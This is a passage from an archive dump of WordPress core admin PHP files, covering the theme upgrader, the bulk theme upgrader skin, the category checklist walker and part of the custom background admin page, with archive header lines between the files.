			$this->skin->footer();
			return false;
		}

		$this->skin->bulk_header();

		/*
		 * Only start maintenance mode if:
		 * - running Multisite and there are one or more themes specified, OR
		 * - a theme with an update available is currently in use.
		 * @todo For multisite, maintenance mode should only kick in for individual sites if at all possible.
		 */
		$maintenance = ( is_multisite() && ! empty( $themes ) );
		foreach ( $themes as $theme ) {
			$maintenance = $maintenance || get_stylesheet() === $theme || get_template() === $theme;
		}
		if ( $maintenance ) {
			$this->maintenance_mode( true );
		}

		$results = array();

		$this->update_count   = count( $themes );
		$this->update_current = 0;
		foreach ( $themes as $theme ) {
			++$this->update_current;

			$this->skin->theme_info = $this->theme_info( $theme );

			if ( ! isset( $current->response[ $theme ] ) ) {
				$this->skin->set_result( true );
				$this->skin->before();
				$this->skin->feedback( 'up_to_date' );
				$this->skin->after();
				$results[ $theme ] = true;
				continue;
			}

			// Get the URL to the zip file.
			$r = $current->response[ $theme ];

			$result = $this->run(
				array(
					'package'           => $r['package'],
					'destination'       => get_theme_root( $theme ),
					'clear_destination' => true,
					'clear_working'     => true,
					'is_multi'          => true,
					'hook_extra'        => array(
						'theme'       => $theme,
						'temp_backup' => array(
							'slug' => $theme,
							'src'  => get_theme_root( $theme ),
							'dir'  => 'themes',
						),
					),
				)
			);

			$results[ $theme ] = $result;

			// Prevent credentials auth screen from displaying multiple times.
			if ( false === $result ) {
				break;
			}
		} // End foreach $themes.

		$this->maintenance_mode( false );

		// Refresh the Theme Update information.
		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );

		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action' => 'update',
				'type'   => 'theme',
				'bulk'   => true,
				'themes' => $themes,
			)
		);

		$this->skin->bulk_footer();

		$this->skin->footer();

		// Cleanup our hooks, in case something else does an upgrade on this connection.
		remove_filter( 'upgrader_pre_install', array( $this, 'current_before' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'current_after' ) );
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ) );

		/*
		 * Ensure any future auto-update failures trigger a failure email by removing
		 * the last failure notification from the list when themes update successfully.
		 */
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		foreach ( $results as $theme => $result ) {
			// Maintain last failure notification when themes failed to update manually.
			if ( ! $result || is_wp_error( $result ) || ! isset( $past_failure_emails[ $theme ] ) ) {
				continue;
			}

			unset( $past_failure_emails[ $theme ] );
		}

		update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );

		return $results;
	}

	/**
	 * Checks that the package source contains a valid theme.
	 *
	 * Hooked to the {@see 'upgrader_source_selection'} filter by Theme_Upgrader::install().
	 *
	 * @since 3.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 * @global string             $wp_version    The WordPress version string.
	 *
	 * @param string $source The path to the downloaded package source.
	 * @return string|WP_Error The source as passed, or a WP_Error object on failure.
	 */
	public function check_package( $source ) {
		global $wp_filesystem, $wp_version;

		$this->new_theme_data = array();

		if ( is_wp_error( $source ) ) {
			return $source;
		}

		// Check that the folder contains a valid theme.
		$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit( WP_CONTENT_DIR ), $source );
		if ( ! is_dir( $working_directory ) ) { // Sanity check, if the above fails, let's not prevent installation.
			return $source;
		}

		// A proper archive should have a style.css file in the single subdirectory.
		if ( ! file_exists( $working_directory . 'style.css' ) ) {
			return new WP_Error(
				'incompatible_archive_theme_no_style',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: %s: style.css */
					__( 'The theme is missing the %s stylesheet.' ),
					'<code>style.css</code>'
				)
			);
		}

		// All these headers are needed on Theme_Installer_Skin::do_overwrite().
		$info = get_file_data(
			$working_directory . 'style.css',
			array(
				'Name'        => 'Theme Name',
				'Version'     => 'Version',
				'Author'      => 'Author',
				'Template'    => 'Template',
				'RequiresWP'  => 'Requires at least',
				'RequiresPHP' => 'Requires PHP',
			)
		);

		if ( empty( $info['Name'] ) ) {
			return new WP_Error(
				'incompatible_archive_theme_no_name',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: %s: style.css */
					__( 'The %s stylesheet does not contain a valid theme header.' ),
					'<code>style.css</code>'
				)
			);
		}

		/*
		 * Parent themes must contain an index file:
		 * - classic themes require /index.php
		 * - block themes require /templates/index.html or block-templates/index.html (deprecated 5.9.0).
		 */
		if (
			empty( $info['Template'] ) &&
			! file_exists( $working_directory . 'index.php' ) &&
			! file_exists( $working_directory . 'templates/index.html' ) &&
			! file_exists( $working_directory . 'block-templates/index.html' )
		) {
			return new WP_Error(
				'incompatible_archive_theme_no_index',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: 1: templates/index.html, 2: index.php, 3: Documentation URL, 4: Template, 5: style.css */
					__( 'Template is missing. Standalone themes need to have a %1$s or %2$s template file. <a href="%3$s">Child themes</a> need to have a %4$s header in the %5$s stylesheet.' ),
					'<code>templates/index.html</code>',
					'<code>index.php</code>',
					__( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ),
					'<code>Template</code>',
					'<code>style.css</code>'
				)
			);
		}

		$requires_php = isset( $info['RequiresPHP'] ) ? $info['RequiresPHP'] : null;
		$requires_wp  = isset( $info['RequiresWP'] ) ? $info['RequiresWP'] : null;

		if ( ! is_php_version_compatible( $requires_php ) ) {
			$error = sprintf(
				/* translators: 1: Current PHP version, 2: Version required by the uploaded theme. */
				__( 'The PHP version on your server is %1$s, however the uploaded theme requires %2$s.' ),
				PHP_VERSION,
				$requires_php
			);

			return new WP_Error( 'incompatible_php_required_version', $this->strings['incompatible_archive'], $error );
		}
		if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded theme. */
				__( 'Your WordPress version is %1$s, however the uploaded theme requires %2$s.' ),
				$wp_version,
				$requires_wp
			);

			return new WP_Error( 'incompatible_wp_required_version', $this->strings['incompatible_archive'], $error );
		}

		$this->new_theme_data = $info;

		return $source;
	}

	/**
	 * Turns on maintenance mode before attempting to upgrade the active theme.
	 *
	 * Hooked to the {@see 'upgrader_pre_install'} filter by Theme_Upgrader::upgrade() and
	 * Theme_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @param bool|WP_Error $response The installation response before the installation has started.
	 * @param array         $theme    Theme arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function current_before( $response, $theme ) {
		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$theme = isset( $theme['theme'] ) ? $theme['theme'] : '';

		// Only run if active theme.
		if ( get_stylesheet() !== $theme ) {
			return $response;
		}

		// Change to maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( true );
		}

		return $response;
	}

	/**
	 * Turns off maintenance mode after upgrading the active theme.
	 *
	 * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::upgrade()
	 * and Theme_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @param bool|WP_Error $response The installation response after the installation has finished.
	 * @param array         $theme    Theme arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function current_after( $response, $theme ) {
		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$theme = isset( $theme['theme'] ) ? $theme['theme'] : '';

		// Only run if active theme.
		if ( get_stylesheet() !== $theme ) {
			return $response;
		}

		// Ensure stylesheet name hasn't changed after the upgrade:
		if ( get_stylesheet() === $theme && $theme !== $this->result['destination_name'] ) {
			wp_clean_themes_cache();
			$stylesheet = $this->result['destination_name'];
			switch_theme( $stylesheet );
		}

		// Time to remove maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( false );
		}
		return $response;
	}

	/**
	 * Deletes the old theme during an upgrade.
	 *
	 * Hooked to the {@see 'upgrader_clear_destination'} filter by Theme_Upgrader::upgrade()
	 * and Theme_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem Subclass
	 *
	 * @param bool   $removed
	 * @param string $local_destination
	 * @param string $remote_destination
	 * @param array  $theme
	 * @return bool
	 */
	public function delete_old_theme( $removed, $local_destination, $remote_destination, $theme ) {
		global $wp_filesystem;

		if ( is_wp_error( $removed ) ) {
			return $removed; // Pass errors through.
		}

		if ( ! isset( $theme['theme'] ) ) {
			return $removed;
		}

		$theme      = $theme['theme'];
		$themes_dir = trailingslashit( $wp_filesystem->wp_themes_dir( $theme ) );
		if ( $wp_filesystem->exists( $themes_dir . $theme ) ) {
			if ( ! $wp_filesystem->delete( $themes_dir . $theme, true ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Gets the WP_Theme object for a theme.
	 *
	 * @since 2.8.0
	 * @since 3.0.0 The `$theme` argument was added.
	 *
	 * @param string $theme The directory name of the theme. This is optional, and if not supplied,
	 *                      the directory name from the last result will be used.
	 * @return WP_Theme|false The theme's info object, or false `$theme` is not supplied
	 *                        and the last result isn't set.
	 */
	public function theme_info( $theme = null ) {
		if ( empty( $theme ) ) {
			if ( ! empty( $this->result['destination_name'] ) ) {
				$theme = $this->result['destination_name'];
			} else {
				return false;
			}
		}

		$theme = wp_get_theme( $theme );
		$theme->cache_delete();

		return $theme;
	}
}
class-bulk-theme-upgrader-skin.php.tar000064400000010000150275632050013747 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-bulk-theme-upgrader-skin.php000064400000004425150274225670024563 0ustar00<?php
/**
 * Upgrader API: Bulk_Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Bulk Theme Upgrader Skin for WordPress Theme Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Bulk_Theme_Upgrader_Skin extends Bulk_Upgrader_Skin {

	/**
	 * Theme info.
	 *
	 * The Theme_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the Theme_Upgrader::theme_info() method,
	 * which in turn calls the wp_get_theme() function.
	 *
	 * @var WP_Theme|false The theme's info object, or false.
	 */
	public $theme_info = false;

	public function add_strings() {
		parent::add_strings();
		/* translators: 1: Theme name, 2: Number of the theme, 3: Total number of themes being updated. */
		$this->upgrader->strings['skin_before_update_header'] = __( 'Updating Theme %1$s (%2$d/%3$d)' );
	}

	/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		parent::before( $this->theme_info->display( 'Name' ) );
	}

	/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		parent::after( $this->theme_info->display( 'Name' ) );
		$this->decrement_update_count( 'theme' );
	}

	/**
	 */
	public function bulk_footer() {
		parent::bulk_footer();

		$update_actions = array(
			'themes_page'  => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'themes.php' ),
				__( 'Go to Themes page' )
			),
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Go to WordPress Updates page' )
			),
		);

		if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) ) {
			unset( $update_actions['themes_page'] );
		}

		/**
		 * Filters the list of action links available following bulk theme updates.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $update_actions Array of theme action links.
		 * @param WP_Theme $theme_info     Theme object for the last-updated theme.
		 */
		$update_actions = apply_filters( 'update_bulk_theme_complete_actions', $update_actions, $this->theme_info );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
class-walker-category-checklist.php000064400000011442150275632050013436 0ustar00<?php
/**
 * Taxonomy API: Walker_Category_Checklist class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core walker class to output an unordered list of category checkbox input elements.
 *
 * @since 2.5.1
 *
 * @see Walker
 * @see wp_category_checklist()
 * @see wp_terms_checklist()
 */
class Walker_Category_Checklist extends Walker {
	public $tree_type = 'category';
	public $db_fields = array(
		'parent' => 'parent',
		'id'     => 'term_id',
	); // TODO: Decouple this.

	/**
	 * Starts the list before the elements are added.
	 *
	 * @see Walker:start_lvl()
	 *
	 * @since 2.5.1
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Depth of category. Used for tab indentation.
	 * @param array  $args   An array of arguments. See {@see wp_terms_checklist()}.
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "$indent<ul class='children'>\n";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @see Walker::end_lvl()
	 *
	 * @since 2.5.1
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Depth of category. Used for tab indentation.
	 * @param array  $args   An array of arguments. See {@see wp_terms_checklist()}.
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "$indent</ul>\n";
	}

	/**
	 * Start the element output.
	 *
	 * @see Walker::start_el()
	 *
	 * @since 2.5.1
	 * @since 5.9.0 Renamed `$category` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @param string  $output            Used to append additional content (passed by reference).
	 * @param WP_Term $data_object       The current term object.
	 * @param int     $depth             Depth of the term in reference to parents. Default 0.
	 * @param array   $args              An array of arguments. See {@see wp_terms_checklist()}.
	 * @param int     $current_object_id Optional. ID of the current term. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$category = $data_object;

		if ( empty( $args['taxonomy'] ) ) {
			$taxonomy = 'category';
		} else {
			$taxonomy = $args['taxonomy'];
		}

		if ( 'category' === $taxonomy ) {
			$name = 'post_category';
		} else {
			$name = 'tax_input[' . $taxonomy . ']';
		}

		$args['popular_cats'] = ! empty( $args['popular_cats'] ) ? array_map( 'intval', $args['popular_cats'] ) : array();

		$class = in_array( $category->term_id, $args['popular_cats'], true ) ? ' class="popular-category"' : '';

		$args['selected_cats'] = ! empty( $args['selected_cats'] ) ? array_map( 'intval', $args['selected_cats'] ) : array();

		if ( ! empty( $args['list_only'] ) ) {
			$aria_checked = 'false';
			$inner_class  = 'category';

			if ( in_array( $category->term_id, $args['selected_cats'], true ) ) {
				$inner_class .= ' selected';
				$aria_checked = 'true';
			}

			$output .= "\n" . '<li' . $class . '>' .
				'<div class="' . $inner_class . '" data-term-id=' . $category->term_id .
				' tabindex="0" role="checkbox" aria-checked="' . $aria_checked . '">' .
				/** This filter is documented in wp-includes/category-template.php */
				esc_html( apply_filters( 'the_category', $category->name, '', '' ) ) . '</div>';
		} else {
			$is_selected = in_array( $category->term_id, $args['selected_cats'], true );
			$is_disabled = ! empty( $args['disabled'] );

			$output .= "\n<li id='{$taxonomy}-{$category->term_id}'$class>" .
				'<label class="selectit"><input value="' . $category->term_id . '" type="checkbox" name="' . $name . '[]" id="in-' . $taxonomy . '-' . $category->term_id . '"' .
				checked( $is_selected, true, false ) .
				disabled( $is_disabled, true, false ) . ' /> ' .
				/** This filter is documented in wp-includes/category-template.php */
				esc_html( apply_filters( 'the_category', $category->name, '', '' ) ) . '</label>';
		}
	}

	/**
	 * Ends the element output, if needed.
	 *
	 * @see Walker::end_el()
	 *
	 * @since 2.5.1
	 * @since 5.9.0 Renamed `$category` to `$data_object` to match parent class for PHP 8 named parameter support.
	 *
	 * @param string  $output      Used to append additional content (passed by reference).
	 * @param WP_Term $data_object The current term object.
	 * @param int     $depth       Depth of the term in reference to parents. Default 0.
	 * @param array   $args        An array of arguments. See {@see wp_terms_checklist()}.
	 */
	public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {
		$output .= "</li>\n";
	}
}
class-custom-background.php000064400000051671150275632050012026 0ustar00<?php
/**
 * The custom background script.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * The custom background class.
 *
 * @since 3.0.0
 */
#[AllowDynamicProperties]
class Custom_Background {

	/**
	 * Callback for administration header.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_header_callback;

	/**
	 * Callback for header div.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_image_div_callback;

	/**
	 * Used to trigger a success message when settings updated and set to true.
	 *
	 * @since 3.0.0
	 * @var bool
	 */
	private $updated;

	/**
	 * Constructor - Registers administration header callback.
	 *
	 * @since 3.0.0
	 * @param callable $admin_header_callback
	 * @param callable $admin_image_div_callback Optional custom image div output callback.
	 */
	public function __construct( $admin_header_callback = '', $admin_image_div_callback = '' ) {
		$this->admin_header_callback    = $admin_header_callback;
		$this->admin_image_div_callback = $admin_image_div_callback;

		add_action( 'admin_menu', array( $this, 'init' ) );

		add_action( 'wp_ajax_custom-background-add', array( $this, 'ajax_background_add' ) );

		// Unused since 3.5.0.
		add_action( 'wp_ajax_set-background-image', array( $this, 'wp_set_background_image' ) );
	}

	/**
	 * Sets up the hooks for the Custom Background admin page.
	 *
	 * @since 3.0.0
	 */
	public function init() {
		$page = add_theme_page(
			_x( 'Background', 'custom background' ),
			_x( 'Background', 'custom background' ),
			'edit_theme_options',
			'custom-background',
			array( $this, 'admin_page' )
		);

		if ( ! $page ) {
			return;
		}

		add_action( "load-{$page}", array( $this, 'admin_load' ) );
		add_action( "load-{$page}", array( $this, 'take_action' ), 49 );
		add_action( "load-{$page}", array( $this, 'handle_upload' ), 49 );

		if ( $this->admin_header_callback ) {
			add_action( "admin_head-{$page}", $this->admin_header_callback, 51 );
		}
	}

	/**
	 * Sets up the enqueue for the CSS & JavaScript files.
	 *
	 * @since 3.0.0
	 */
	public function admin_load() {
		get_current_screen()->add_help_tab(
			array(
				'id'      => 'overview',
				'title'   => __( 'Overview' ),
				'content' =>
					'<p>' . __( 'You can customize the look of your site without touching any of your theme&#8217;s code by using a custom background. Your background can be an image or a color.' ) . '</p>' .
					'<p>' . __( 'To use a background image, simply upload it or choose an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site.' ) . '</p>' .
					'<p>' . __( 'You can also choose a background color by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
					'<p>' . __( 'Do not forget to click on the Save Changes button when you are finished.' ) . '</p>',
			)
		);

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Background_Screen">Documentation on Custom Background</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
		);

		wp_enqueue_media();
		wp_enqueue_script( 'custom-background' );
		wp_enqueue_style( 'wp-color-picker' );
	}

	/**
	 * Executes custom background modification.
	 *
	 * @since 3.0.0
	 */
	public function take_action() {
		if ( empty( $_POST ) ) {
			return;
		}

		if ( isset( $_POST['reset-background'] ) ) {
			check_admin_referer( 'custom-background-reset', '_wpnonce-custom-background-reset' );

			remove_theme_mod( 'background_image' );
			remove_theme_mod( 'background_image_thumb' );

			$this->updated = true;
			return;
		}

		if ( isset( $_POST['remove-background'] ) ) {
			// @todo Uploaded files are not removed here.
			check_admin_referer( 'custom-background-remove', '_wpnonce-custom-background-remove' );

			set_theme_mod( 'background_image', '' );
			set_theme_mod( 'background_image_thumb', '' );

			$this->updated = true;
			wp_safe_redirect( $_POST['_wp_http_referer'] );
			return;
		}

		if ( isset( $_POST['background-preset'] ) ) {
			check_admin_referer( 'custom-background' );

			if ( in_array( $_POST['background-preset'], array( 'default', 'fill', 'fit', 'repeat', 'custom' ), true ) ) {
				$preset = $_POST['background-preset'];
			} else {
				$preset = 'default';
			}

			set_theme_mod( 'background_preset', $preset );
		}

		if ( isset( $_POST['background-position'] ) ) {
			check_admin_referer( 'custom-background' );

			$position = explode( ' ', $_POST['background-position'] );

			if ( in_array( $position[0], array( 'left', 'center', 'right' ), true ) ) {
				$position_x = $position[0];
			} else {
				$position_x = 'left';
			}

			if ( in_array( $position[1], array( 'top', 'center', 'bottom' ), true ) ) {
				$position_y = $position[1];
			} else {
				$position_y = 'top';
			}

			set_theme_mod( 'background_position_x', $position_x );
			set_theme_mod( 'background_position_y', $position_y );
		}

		if ( isset( $_POST['background-size'] ) ) {
			check_admin_referer( 'custom-background' );

			if ( in_array( $_POST['background-size'], array( 'auto', 'contain', 'cover' ), true ) ) {
				$size = $_POST['background-size'];
			} else {
				$size = 'auto';
			}

			set_theme_mod( 'background_size', $size );
		}

		if ( isset( $_POST['background-repeat'] ) ) {
			check_admin_referer( 'custom-background' );

			$repeat = $_POST['background-repeat'];

			if ( 'no-repeat' !== $repeat ) {
				$repeat = 'repeat';
			}

			set_theme_mod( 'background_repeat', $repeat );
		}

		if ( isset( $_POST['background-attachment'] ) ) {
			check_admin_referer( 'custom-background' );

			$attachment = $_POST['background-attachment'];

			if ( 'fixed' !== $attachment ) {
				$attachment = 'scroll';
			}

			set_theme_mod( 'background_attachment', $attachment );
		}

		if ( isset( $_POST['background-color'] ) ) {
			check_admin_referer( 'custom-background' );

			$color = preg_replace( '/[^0-9a-fA-F]/', '', $_POST['background-color'] );

			if ( strlen( $color ) === 6 || strlen( $color ) === 3 ) {
				set_theme_mod( 'background_color', $color );
			} else {
				set_theme_mod( 'background_color', '' );
			}
		}

		$this->updated = true;
	}

	/**
	 * Displays the custom background page.
	 *
	 * @since 3.0.0
	 */
	public function admin_page() {
		?>
<div class="wrap" id="custom-background">
<h1><?php _e( 'Custom Background' ); ?></h1>

		<?php
		if ( current_user_can( 'customize' ) ) {
			$message = sprintf(
				/* translators: %s: URL to background image configuration in Customizer. */
				__( 'You can now manage and live-preview Custom Backgrounds in the <a href="%s">Customizer</a>.' ),
				admin_url( 'customize.php?autofocus[control]=background_image' )
			);
			wp_admin_notice(
				$message,
				array(
					'type'               => 'info',
					'additional_classes' => array( 'hide-if-no-customize' ),
				)
			);
		}

		if ( ! empty( $this->updated ) ) {
			$updated_message = sprintf(
				/* translators: %s: Home URL. */
				__( 'Background updated. <a href="%s">Visit your site</a> to see how it looks.' ),
				esc_url( home_url( '/' ) )
			);
			wp_admin_notice(
				$updated_message,
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
				)
			);
		}
		?>

<h2><?php _e( 'Background Image' ); ?></h2>

<table class="form-table" role="presentation">
<tbody>
<tr>
<th scope="row"><?php _e( 'Preview' ); ?></th>
<td>
		<?php
		if ( $this->admin_image_div_callback ) {
			call_user_func( $this->admin_image_div_callback );
		} else {
			$background_styles = '';
			$bgcolor           = get_background_color();
			if ( $bgcolor ) {
				$background_styles .= 'background-color: #' . $bgcolor . ';';
			}

			$background_image_thumb = get_background_image();
			if ( $background_image_thumb ) {
				$background_image_thumb = esc_url( set_url_scheme( get_theme_mod( 'background_image_thumb', str_replace( '%', '%%', $background_image_thumb ) ) ) );
				$background_position_x  = get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) );
				$background_position_y  = get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) );
				$background_size        = get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) );
				$background_repeat      = get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) );
				$background_attachment  = get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) );

				// Background-image URL must be single quote, see below.
				$background_styles .= " background-image: url('$background_image_thumb');"
				. " background-size: $background_size;"
				. " background-position: $background_position_x $background_position_y;"
				. " background-repeat: $background_repeat;"
				. " background-attachment: $background_attachment;";
			}
			?>
	<div id="custom-background-image" style="<?php echo $background_styles; ?>"><?php // Must be double quote, see above. ?>
			<?php if ( $background_image_thumb ) { ?>
		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" /><br />
		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" />
		<?php } ?>
	</div>
	<?php } ?>
</td>
</tr>

		<?php if ( get_background_image() ) : ?>
<tr>
<th scope="row"><?php _e( 'Remove Image' ); ?></th>
<td>
<form method="post">
			<?php wp_nonce_field( 'custom-background-remove', '_wpnonce-custom-background-remove' ); ?>
			<?php submit_button( __( 'Remove Background Image' ), '', 'remove-background', false ); ?><br />
			<?php _e( 'This will remove the background image. You will not be able to restore any customizations.' ); ?>
</form>
</td>
</tr>
		<?php endif; ?>

		<?php $default_image = get_theme_support( 'custom-background', 'default-image' ); ?>
		<?php if ( $default_image && get_background_image() !== $default_image ) : ?>
<tr>
<th scope="row"><?php _e( 'Restore Original Image' ); ?></th>
<td>
<form method="post">
			<?php wp_nonce_field( 'custom-background-reset', '_wpnonce-custom-background-reset' ); ?>
			<?php submit_button( __( 'Restore Original Image' ), '', 'reset-background', false ); ?><br />
			<?php _e( 'This will restore the original background image. You will not be able to restore any customizations.' ); ?>
</form>
</td>
</tr>
		<?php endif; ?>

		<?php if ( current_user_can( 'upload_files' ) ) : ?>
<tr>
<th scope="row"><?php _e( 'Select Image' ); ?></th>
<td><form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post">
	<p>
		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
		<input type="file" id="upload" name="import" />
		<input type="hidden" name="action" value="save" />
			<?php wp_nonce_field( 'custom-background-upload', '_wpnonce-custom-background-upload' ); ?>
			<?php submit_button( __( 'Upload' ), '', 'submit', false ); ?>
	</p>
	<p>
		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
		<button id="choose-from-library-link" class="button"
			data-choose="<?php esc_attr_e( 'Choose a Background Image' ); ?>"
			data-update="<?php esc_attr_e( 'Set as background' ); ?>"><?php _e( 'Choose Image' ); ?></button>
	</p>
	</form>
</td>
</tr>
		<?php endif; ?>
</tbody>
</table>

<h2><?php _e( 'Display Options' ); ?></h2>
<form method="post">
<table class="form-table" role="presentation">
<tbody>
		<?php if ( get_background_image() ) : ?>
<input name="background-preset" type="hidden" value="custom">

			<?php
			$background_position = sprintf(
				'%s %s',
				get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) ),
				get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) )
			);

			$background_position_options = array(
				array(
					'left top'   => array(
						'label' => __( 'Top Left' ),
						'icon'  => 'dashicons dashicons-arrow-left-alt',
					),
					'center top' => array(
						'label' => __( 'Top' ),
						'icon'  => 'dashicons dashicons-arrow-up-alt',
					),
					'right top'  => array(
						'label' => __( 'Top Right' ),
						'icon'  => 'dashicons dashicons-arrow-right-alt',
					),
				),
				array(
					'left center'   => array(
						'label' => __( 'Left' ),
						'icon'  => 'dashicons dashicons-arrow-left-alt',
					),
					'center center' => array(
						'label' => __( 'Center' ),
						'icon'  => 'background-position-center-icon',
					),
					'right center'  => array(
						'label' => __( 'Right' ),
						'icon'  => 'dashicons dashicons-arrow-right-alt',
					),
				),
				array(
					'left bottom'   => array(
						'label' => __( 'Bottom Left' ),
						'icon'  => 'dashicons dashicons-arrow-left-alt',
					),
					'center bottom' => array(
						'label' => __( 'Bottom' ),
						'icon'  => 'dashicons dashicons-arrow-down-alt',
					),
					'right bottom'  => array(
						'label' => __( 'Bottom Right' ),
						'icon'  => 'dashicons dashicons-arrow-right-alt',
					),
				),
			);
			?>
<tr>
<th scope="row"><?php _e( 'Image Position' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Image Position' );
			?>
</span></legend>
<div class="background-position-control">
			<?php foreach ( $background_position_options as $group ) : ?>
	<div class="button-group">
				<?php foreach ( $group as $value => $input ) : ?>
		<label>
			<input class="ui-helper-hidden-accessible" name="background-position" type="radio" value="<?php echo esc_attr( $value ); ?>"<?php checked( $value, $background_position ); ?>>
			<span class="button display-options position"><span class="<?php echo esc_attr( $input['icon'] ); ?>" aria-hidden="true"></span></span>
			<span class="screen-reader-text"><?php echo $input['label']; ?></span>
		</label>
	<?php endforeach; ?>
	</div>
<?php endforeach; ?>
</div>
</fieldset></td>
</tr>

<tr>
<th scope="row"><label for="background-size"><?php _e( 'Image Size' ); ?></label></th>
<td><fieldset><legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Image Size' );
			?>
</span></legend>
<select id="background-size" name="background-size">
<option value="auto"<?php selected( 'auto', get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ) ); ?>><?php _ex( 'Original', 'Original Size' ); ?></option>
<option value="contain"<?php selected( 'contain', get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ) ); ?>><?php _e( 'Fit to Screen' ); ?></option>
<option value="cover"<?php selected( 'cover', get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ) ); ?>><?php _e( 'Fill Screen' ); ?></option>
</select>
</fieldset></td>
</tr>

<tr>
<th scope="row"><?php _ex( 'Repeat', 'Background Repeat' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_ex( 'Repeat', 'Background Repeat' );
			?>
</span></legend>
<input name="background-repeat" type="hidden" value="no-repeat">
